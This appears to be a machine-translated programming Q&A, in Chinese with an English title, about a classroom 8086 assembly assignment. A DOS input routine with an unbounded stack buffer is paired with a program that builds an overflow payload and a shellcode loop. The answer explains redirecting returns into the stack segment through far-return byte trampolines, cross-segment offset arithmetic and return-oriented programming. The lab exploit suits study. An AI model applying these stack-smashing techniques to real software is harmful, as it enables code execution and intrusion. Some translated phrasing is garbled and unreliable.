(程序集 8086)我如何 return 从函数到不同的段?

(Assembly 8086) How can I return from a function to a different segment?

我接到了一个编写程序的任务。一个从用户那里获取输入,使用一个函数在堆栈上分配一个字符串,并写入它,一次一个字符,直到它得到一个 "Enter"。而另一个利用第一个漏洞的程序,通过堆栈溢出,改变函数的return地址,并将其指向恶意代码(我写入堆栈)。

我的问题是该函数没有return到我放入堆栈(在StackSegment 中)的地址,而只是转到CodeSegment 中的地址。 这是获取输入的函数:(printStr 函数从堆栈打印)

getStr PROC
push bp
mov bp, sp
add bp, 2

push ax
push dx
push di
push ds

sub sp, 10

mov di, sp
mov ah, 01
strToStack:
    int 21h
    cmp al, 0dh
    je endLoop
    mov byte ptr ss:[di], al
    inc di
jmp strToStack
endLoop:
mov byte ptr ss:[di], '$'

lea dx, new_line
mov ah, 09
int 21h

push ss
pop ds
push sp
call printStr

add sp, 10

pop ds
pop di
pop dx
pop ax
pop bp

ret
endp

这是将恶意代码写入文本文件的程序,我将其用于第一个程序:

.model small
.stack 100
.code
main proc
    push @data
    pop ds

    push ds
    push cs
    pop ds

    lea dx, implant
    mov ah, 09
    int 21h

    pop ds

    exit:
    mov ah, 4ch
    int 21h
endp
implant:
blank   db '@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@'
real_address    dd 0066h, 3182h
mov ah, 2
    mov dl, '@'
    loopy:
        int 21h
    jmp loopy
finish  db  0dh,'$'
end main

如果不允许您修改代码,则在代码段的任何位置搜索 0CBh 或 0CAh 字节。这些是很远的 return 指令,但它们实际上并没有被代码用于该目的。您只需要找到一个具有这些值中的任何一个的字节。更改函数的近 return 地址(堆栈上的单个 16 位值),使其 returns 到该字节,然后在堆栈上放置恶意代码的偏移量和段。

请注意,0CAh 字节是 far return 的 RET imm16 形式,这会导致它从堆栈中弹出参数。如果您使用此字节,您可能需要重新调整堆栈。

如果您找不到 0CBh/0CAh 字节,那么如果您知道堆栈段离代码段不远,那么您还有另一种选择。您可以使用您的代码在堆栈上相对于代码段的偏移量作为 near return 地址。因此,如果堆栈段位于 3182h,代码段位于 3040h(随机选择一个数字),并且您的代码位于堆栈段中的偏移量 64h,那么您的代码位于代码中的偏移量 (3182h - 3040h) * 16 + 64h = 1484h分割。在这种情况下,您可以将 return 地址替换为 1484h 而不是 3182h:0066h.

如果您无法使用这些选项,那么我想不出任何其他明显的解决方案。其他标准堆栈粉碎技术可能不适用。也许 return oriented programming,但您的目标可执行文件中可能没有标准库,并且可能没有很多代码可以借用卡盘。 (尽管后者意味着堆栈段应该远离代码段。)